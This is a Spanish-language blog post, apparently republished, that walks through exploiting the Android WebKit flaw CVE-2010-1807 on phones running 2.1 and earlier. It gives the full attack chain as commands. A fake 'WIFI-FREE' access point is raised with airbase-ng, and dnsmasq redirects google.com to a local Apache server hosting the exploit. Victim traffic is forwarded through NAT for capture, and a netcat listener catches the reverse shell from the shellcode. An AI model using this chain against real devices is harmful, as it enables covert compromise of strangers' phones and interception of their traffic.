Explotando Android vía Web con airbase-ng

Recientemente se publicó una vulnerabilidad en WebKit (CVE-2010-1807), utilizado por Safari y Chrome, que también afecta al browser de los móviles con Android. 

[Imagen: airbase-ng_android.JPG]

La vulnerabilidad fue descubierta por M.J. Keith, quien también publicó un exploit durante una conferencia en Houston, y luego Itzhak Avraham, realizó algunas mejoras sobre el mismo para darle un mayor grado de éxito a la explotación.

 

Esta vulnerabilidad afecta a móviles Android versión 2.1 e inferiores, si bien la ultima versión 2.2 no esta afectada, no todos los fabricantes de móviles u operadores de telefonía, obligan a sus usuarios a actualizar el software.

Por ejemplo, en mi caso estoy usando un Motorola Milestone con Android 2.1-update1, y si bien la versión 2.2 esta disponible hace ya un buen tiempo, Motorola recién comenzará a realizar upgrades para Milestone en Latinoamérica en el primer trimestre del 2011.

Una vergüenza por parte de fabricantes y operadores!

Explotando Android

Para explotar esta vulnerabilidad, el móvil con Android debería visitar un sitio Web que posea el código malicioso.

Podríamos hacer esto en Internet, o como lo vamos a hacer a continuación, levantar un Access Point falso para darle Internet a personas con móviles, y cuando realicen una solicitud especifica de DNS, redirigirlos a una Web local con el código malicioso.

1. Preparando el Exploit

Bajamos el exploit y lo dejamos en el home de Apache con el nombre «index.html»:

nano /var/www/index.html

/etc/init.d/apache2 start

En las primeras líneas del exploit mejorado por Itzhak podemos encontrar la posibilidad de fácilmente cambiar la dirección IP y el puerto en el shellcode:

var ip = unescape(«\ua8c0\u0100»); // ip = 192.168.0.1
var port = unescape(«\u3930»); //port 12345 (hex(0x3039))

En este caso, una vez que la explotación sea exitosa, se va a producir una conexión reversa a la IP «192.168.0.1» en el puerto «12345», por lo que deberíamos dejar escuchando Netcat en ese puerto:

nc -l -p 12345 -n -vvv
listening on [any] 12345 …

2. Preparando el Access Point Falso

Con lo hecho en el paso anterior, ya estaríamos en condición de atacar exitosamente a una víctima si utilizáramos una dirección IP pública en Internet.

Pero la idea a continuación, es levantar un Access Point falso con airodump-ng para que las personas con móviles se asocien a el en busca de Internet gratis, y cuando realicen un pedido DNS especifico lo reenviemos a nuestro Apache con el código malicioso.

Primero vamos a configurar Dnsmasq, quien nos va a proveer el servicio de DNS y de DHCP para nuestro Access Point falso. Si no lo tenemos instalado, lo podemos hacer de la siguiente forma:

apt-get install dnsmasq
/etc/init.d/dnsmasq stop

Luego debemos asegurarnos de configurar en que interfaz de red va a escuchar Dnsmasq, configurar el rango de direcciones IP que entregará a las víctimas, y cual será el dominio que será redireccionado a nuestros Apache con el exploit, en este caso «google.com»:

nano /etc/dnsmasq.conf
interface=at0
dhcp-range=192.168.0.5,192.168.0.20,12h
address=/google.com/192.168.0.1
/etc/init.d/dnsmasq start

Si tenemos Internet, seria una buena idea forwardear todo el trafico para que la víctima crea que esta en una red Wireless común y corriente, y de paso tenemos la posibilidad de capturar algo de trafico:

echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

Finalmente levantamos el Access Point falso con airabase-ng, y configuramos la interfaz de red «at0», creada por airbase-ng, con la dirección IP a donde se realizará la conexión reversa:

airbase-ng -C 30 –essid «WIFI-FREE» wlan0
ifconfig at0 192.168.0.1 netmask 255.255.255.0 up

En este caso, la red se llama «WIFI-FREE», aunque podríamos realizar otra variedad de ataques similares.

3. Atacando a la Víctima

Por mi experiencia con el Motorola Milestone, cuando encendemos la placa Wireless del móvil, hay que detectar las redes en el área, y conectarnos manualmente a la que queremos, mas halla de que este abierta y sin cifrado. Luego de hacer esto, la siguiente vez lo hace automáticamente.

Cuando la víctima esta conectada, el trafico de red pasara normalmente hasta que quiera ingresar a «www.google.com», en donde será redirigido a nuestro Apache y obtendremos una conexión reversa en el Netcat que dejamos escuchando:

[Imagen: exploit_reverso_android.png]

Una vez que recibimos la conexión reversa podemos ejecutar comandos de Android como «/system/bin/id» o «/system/bin/ps» para verificar que efectivamente pudimos acceder al dispositivo.

Info relacionada:
– Exploit original por M.J. Keith
– Exploit modificado por Itzhak Avraham

Posts relacionados:
– Karmetasploit en BackTrack 4
– Jugando con AirPcap

 

Visto en: http://www.kungfoosion.com/2010/12/explotando-android-via-web-con-airodump.html

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *